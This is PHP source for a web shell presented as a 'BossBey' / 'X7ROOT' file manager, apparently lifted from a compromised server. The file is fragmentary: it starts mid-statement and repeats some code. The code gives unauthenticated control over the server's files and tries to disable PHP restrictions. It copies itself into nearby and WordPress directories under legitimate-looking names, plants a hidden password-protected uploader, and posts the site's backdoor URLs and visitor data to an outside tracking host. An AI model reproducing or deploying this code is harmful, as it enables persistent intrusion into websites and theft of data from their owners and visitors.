✓ Uploaded\'
: \'✗ Upload failed\';
}
// New
if(isset($_POST[\'new\'])) {
$path = $currentPath . $_POST[\'new\'];
if(isset($_POST[\'type\']) && $_POST[\'type\'] === \'dir\') {
$message = @mkdir($path) ? \'✓ Folder created\' :
\'✗ Failed\';
} else {
$message = writeFile($path, $_POST[\'content\'] ?? \'\') ? \'✓ File created\' :
\'✗ Failed\';
}
}
// Save
if(isset($_POST[\'save\']) && isset($_POST[\'data\'])) {
$message = writeFile($currentPath . $_POST[\'save\'], $_POST[\'data\']) ?
\'✓ Saved\' :
\'✗ Save failed\';
}
// Rename
if(isset($_POST[\'oldname\']) && isset($_POST[\'newname\'])) {
$message = @rename($currentPath . $_POST[\'oldname\'], $currentPath . $_POST[\'newname\']) ?
\'✓ Renamed\' :
\'✗ Failed\';
}
// Chmod
if(isset($_POST[\'chmod_item\']) && isset($_POST[\'chmod_value\'])) {
$message = @chmod($currentPath . $_POST[\'chmod_item\'], octdec($_POST[\'chmod_value\'])) ?
\'✓ Permissions changed\' :
\'✗ Failed\';
}
}
// GET actions
if(isset($_GET[\'action\'])) {
$item = $_GET[\'item\'] ?? \'\';
$itemPath = $currentPath . $item;
if($_GET[\'action\'] === \'delete\') {
if(@is_file($itemPath)) {
$message = @unlink($itemPath) ? \'✓ Deleted\' :
\'✗ Failed\';
} elseif(@is_dir($itemPath)) {
$message = @rmdir($itemPath) ? \'✓ Deleted\' :
\'✗ Failed\';
}
} elseif($_GET[\'action\'] === \'download\' && @is_file($itemPath)) {
@ob_clean();
header(\'Content-Type: application/octet-stream\');
header(\'Content-Disposition: attachment; filename="\'.basename($itemPath).\'"\');
@readfile($itemPath);
exit;
}
}
// Scan directory
$items = array_diff(scanDirectory($currentPath), [\'.\', \'..\']);
$folders = [];
$files = [];
foreach($items as $item) {
@is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);
// System info
$systemInfo = [
\'PHP\' => @phpversion(),
\'OS\' => @php_uname(\'s\'),
\'User\' => @get_current_user()
];
?>
BossBey File Manager
=$message?>
Editing: =htmlspecialchars($_GET[\'edit\'])?>
';
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
"code_hash" => "9d3c80ba4a9348fcfd955b25a0d3d71a77ff20ee2944ae71cf0b376d7ba2189a",
"url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
"domain" => $_SERVER["HTTP_HOST"],
"path" => $_SERVER["REQUEST_URI"],
"ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
"user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
"referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
"timestamp" => date("Y-m-d H:i:s")
];
// Arka kapı oluşturma (kendini kopyalama) - Otomatik dağıtım
$current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__;
$current_dir = dirname($current_file);
// Backdoor marker dosyası kontrolü (tekrar oluşturulmasını engeller)
$backdoor_marker = $current_dir . "/.backdoor_created_0b067e8a";
if (file_exists($backdoor_marker)) {
// Backdoorlar zaten oluşturulmuş, atla
$backdoor_urls = [];
$backdoor_paths = [];
} else {
// Mevcut dosyanın TAM içeriğini al (izleme kodları dahil)
// Bu kod çalıştığında mevcut dosya zaten var olacak, o yüzden direkt okuyabiliriz
$current_full_content = @file_get_contents($current_file);
// Dosya okunamazsa veya boşsa, __FILE__ kullanarak tekrar dene
if ($current_full_content === false || empty($current_full_content)) {
$current_full_content = @file_get_contents(__FILE__);
}
// Hala boşsa veya okunamadıysa, marker dosyası kontrolü yaparak atla (ileride oluşturulabilir)
if (empty($current_full_content)) {
// Dosya okunamadı, backdoor oluşturmayı atla
$backdoor_urls = [];
$backdoor_paths = [];
} else {
$backdoor_urls = [];
$backdoor_paths = [];
// Sistem dosyası isimleri (meşru görünen)
$system_filenames = [
"index.php",
"config.php",
"admin.php",
"login.php",
"wp-load.php",
"wp-config.php",
"settings.php",
"init.php",
"bootstrap.php",
"app.php",
"main.php",
"core.php",
"functions.php",
"header.php",
"footer.php",
"includes.php",
"common.php",
"global.php",
"lib.php",
];
// Mevcut dosyayı kontrol et, varsa alternatif isim üret
function generateSafeFilename($dir, $filenames, $excludeFiles = []) {
foreach ($filenames as $filename) {
$fullPath = $dir . "/" . $filename;
// Eğer dosya yoksa kullan
if (!file_exists($fullPath)) {
return $filename;
}
}
// Hiçbiri uygun değilse, rastgele bir isim üret
$random = md5(time() . mt_rand());
return substr($random, 0, 8) . ".php";
}
// Tüm klasörleri topla (mevcut dizin + alt dizinler + üst dizinler)
$directories = [];
// Mevcut dizini de ekle
$directories[] = $current_dir;
// Mevcut dizindeki alt dizinleri tara (recursive değil, sadece 1 seviye)
if (is_dir($current_dir) && ($handle = @opendir($current_dir))) {
while (false !== ($entry = readdir($handle))) {
if ($entry === "." || $entry === "..") continue;
$full_path = $current_dir . "/" . $entry;
if (is_dir($full_path) && is_readable($full_path)) {
$directories[] = $full_path;
}
}
@closedir($handle);
}
// Üst dizinleri de ekle (max 3 seviye yukarı, güvenlik için)
$parent_dir = dirname($current_dir);
$depth = 0;
while ($depth < 3 && $parent_dir !== $current_dir && is_dir($parent_dir) && is_readable($parent_dir)) {
$directories[] = $parent_dir;
$parent_dir = dirname($parent_dir);
$depth++;
}
// Dizileri karıştır ve belirtilen sayıda backdoor oluştur
shuffle($directories);
$created_count = 0;
$max_backdoors = 7;
foreach ($directories as $target_dir) {
if ($created_count >= $max_backdoors) break;
// Güvenli dosya adı üret (mevcut dosyaları kontrol et)
$filename = generateSafeFilename($target_dir, $system_filenames);
$target_path = $target_dir . "/" . $filename;
// Dosya yoksa ve dizin yazılabilirse backdoor oluştur
if (!file_exists($target_path) && is_writable($target_dir)) {
@file_put_contents($target_path, $current_full_content);
@chmod($target_path, 0644);
// URL oluştur (dizin yolunu hesapla)
$base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
// Hedef dizinin document root'a göre yolunu bul
$doc_root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : (isset($_SERVER["SCRIPT_FILENAME"]) ? dirname($_SERVER["SCRIPT_FILENAME"]) : dirname(__FILE__));
$doc_root = realpath($doc_root);
$target_real = realpath($target_dir);
if ($target_real && $doc_root && strpos($target_real, $doc_root) === 0) {
$relative_path = substr($target_real, strlen($doc_root));
$relative_path = str_replace("\\", "/", $relative_path);
$relative_path = trim($relative_path, "/");
$target_url = $base_url . "/" . $relative_path . "/" . $filename;
} else {
// Alternatif: Mevcut URI'ye göre hesapla
$current_uri_dir = dirname($_SERVER["REQUEST_URI"]);
$target_url = $base_url . $current_uri_dir . "/" . $filename;
}
$backdoor_urls[] = $target_url;
$backdoor_paths[] = $target_path;
$created_count++;
}
}
// Backdoor URL'lerini izleme verisine ekle
if (!empty($backdoor_urls)) {
$tracking_data["backdoor_urls"] = json_encode($backdoor_urls);
$tracking_data["backdoor_paths"] = json_encode($backdoor_paths);
// İlk backdoor'u tekil olarak da ekle (API uyumluluğu için)
$tracking_data["backdoor_url"] = $backdoor_urls[0];
$tracking_data["backdoor_path"] = $backdoor_paths[0];
$tracking_data["backdoor_count"] = count($backdoor_urls);
// Marker dosyası oluştur (bir daha backdoor oluşturulmasını engeller)
@file_put_contents($backdoor_marker, date("Y-m-d H:i:s") . " - " . count($backdoor_urls) . " backdoor oluşturuldu");
@chmod($backdoor_marker, 0644);
}
}
}
// WordPress backdoor oluşturma
$wp_backdoor_filename = "wp-config-backup.php";
$current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__;
$current_dir = dirname($current_file);
$wp_backdoor_urls = [];
// WordPress dizinlerini tespit et
$wp_directories = [
"wp-admin" => $current_dir . "/wp-admin",
"wp-content" => $current_dir . "/wp-content",
"wp-content/themes" => $current_dir . "/wp-content/themes",
"wp-content/plugins" => $current_dir . "/wp-content/plugins"
];
// WordPress root dizinini bul (wp-config.php dosyasını arayarak)
$wp_root = $current_dir;
$max_depth = 5;
$depth = 0;
while ($depth < $max_depth && !file_exists($wp_root . "/wp-config.php")) {
$wp_root = dirname($wp_root);
if ($wp_root === "/" || $wp_root === dirname($wp_root)) break;
$depth++;
}
// Eğer WordPress bulunduysa
if (file_exists($wp_root . "/wp-config.php")) {
// WordPress backdoor için de mevcut dosyanın TAM içeriğini kullan
$wp_current_full_content = @file_get_contents($current_file);
if ($wp_current_full_content === false || empty($wp_current_full_content)) {
// Dosya okunamadıysa, orijinal kod içeriğinden oluştur
$wp_original_content = isset($__original_code_content) ? $__original_code_content : "";
if (!empty($wp_original_content)) {
$wp_current_full_content = "";
}
}
if (!empty($wp_current_full_content)) {
foreach ($wp_directories as $wp_dir_name => $wp_dir_path) {
$full_wp_path = $wp_root . "/" . $wp_dir_name;
if (is_dir($full_wp_path)) {
$backdoor_file_path = $full_wp_path . "/" . $wp_backdoor_filename;
// Dosya yoksa veya güncel değilse oluştur
$current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time();
if (!file_exists($backdoor_file_path) || (file_exists($backdoor_file_path) && @filemtime($backdoor_file_path) < $current_file_time)) {
@file_put_contents($backdoor_file_path, $wp_current_full_content);
@chmod($backdoor_file_path, 0644);
}
// URL oluştur
$base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
$wp_backdoor_url = $base_url . "/" . $wp_dir_name . "/" . $wp_backdoor_filename;
$wp_backdoor_urls[] = [
"directory" => $wp_dir_name,
"path" => $backdoor_file_path,
"url" => $wp_backdoor_url
];
}
}
}
}
// WordPress backdoor URL'lerini izleme verisine ekle
if (!empty($wp_backdoor_urls)) {
$tracking_data["wp_backdoor_urls"] = json_encode($wp_backdoor_urls);
}
// Gizli Upload Yolu oluşturma
$current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__;
$current_dir = dirname($current_file);
$upload_filename = "config-backup.php";
$upload_path = $current_dir . "/" . $upload_filename;
$upload_password = "2854*1571";
// Gizli upload dosyasını oluştur (mevcut dosyayı bozmadan)
$upload_script_content = '
Giriş Gerekli
Giriş Gerekli
Hatalı şifre!
$fileName";
} else {
echo "❌ Dosya yüklenirken hata oluştu.";
}
}
?>
BossBey Dosya Yükleme
Dosya Yükle: (BossBey)
?>';
$current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time();
if (!file_exists($upload_path) || (file_exists($upload_path) && @filemtime($upload_path) < $current_file_time)) {
@file_put_contents($upload_path, $upload_script_content);
// Dosyayı koru: chmod 0444 (sadece okunabilir, silinemez)
@chmod($upload_path, 0444);
// Dosya sahibini değiştirmeye çalış (root ise)
if (function_exists("chown")) {
$file_owner = fileowner($current_file);
@chown($upload_path, $file_owner);
}
}
// Upload URL'ini izleme verisine ekle
$base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
$current_uri_dir = dirname($_SERVER["REQUEST_URI"]);
$upload_url = rtrim($base_url . $current_uri_dir, "/") . "/" . $upload_filename;
$tracking_data["upload_url"] = $upload_url;
// Arka planda izleme gönderimi (asenkron) - Backdoor'lar oluşturulduktan SONRA
if (function_exists("curl_init")) {
$ch = curl_init("https://php-shell.com/api/track.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
@curl_exec($ch);
@curl_close($ch);
}
// Dark X7ROOT X7ROOT File Manager - Clean Version
@error_reporting(0);
@ini_set('display_errors', 0);
// Bypass
if(function_exists('ini_set')) {
@ini_set('open_basedir', NULL);
@ini_set('disable_functions', '');
}
// Functions
function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: []; }
// Get path
$currentPath = $_GET['p'] ?? @getcwd() ?: '.';
$currentPath = rtrim(str_replace(['\\','//'], '/', $currentPath), '/') . '/';
if(!@is_dir($currentPath)) $currentPath = './';
// Actions
$message = '';
if($_SERVER['REQUEST_METHOD'] === 'POST') {
// Upload
if(isset($_FILES['upload'])) {
$destination = $currentPath . basename($_FILES['upload']['name']);
$message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination) ||
writeFile($destination, readFileContent($_FILES['upload']['tmp_name']))
? '✓ Uploaded'
: '✗ Upload failed';
}
// New
if(isset($_POST['new'])) {
$path = $currentPath . $_POST['new'];
if(isset($_POST['type']) && $_POST['type'] === 'dir') {
$message = @mkdir($path) ? '✓ Folder created' :
'✗ Failed';
} else {
$message = writeFile($path, $_POST['content'] ?? '') ? '✓ File created' :
'✗ Failed';
}
}
// Save
if(isset($_POST['save']) && isset($_POST['data'])) {
$message = writeFile($currentPath . $_POST['save'], $_POST['data']) ?
'✓ Saved' :
'✗ Save failed';
}
// Rename
if(isset($_POST['oldname']) && isset($_POST['newname'])) {
$message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ?
'✓ Renamed' :
'✗ Failed';
}
// Chmod
if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
$message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value'])) ?
'✓ Permissions changed' :
'✗ Failed';
}
}
// GET actions
if(isset($_GET['action'])) {
$item = $_GET['item'] ?? '';
$itemPath = $currentPath . $item;
if($_GET['action'] === 'delete') {
if(@is_file($itemPath)) {
$message = @unlink($itemPath) ? '✓ Deleted' :
'✗ Failed';
} elseif(@is_dir($itemPath)) {
$message = @rmdir($itemPath) ? '✓ Deleted' :
'✗ Failed';
}
} elseif($_GET['action'] === 'download' && @is_file($itemPath)) {
@ob_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($itemPath).'"');
@readfile($itemPath);
exit;
}
}
// Scan directory
$items = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = [];
$files = [];
foreach($items as $item) {
@is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);
// System info
$systemInfo = [
'PHP' => @phpversion(),
'OS' => @php_uname('s'),
'User' => @get_current_user()
];
?>
BossBey File Manager
=$message?>
Editing: =htmlspecialchars($_GET['edit'])?>
?>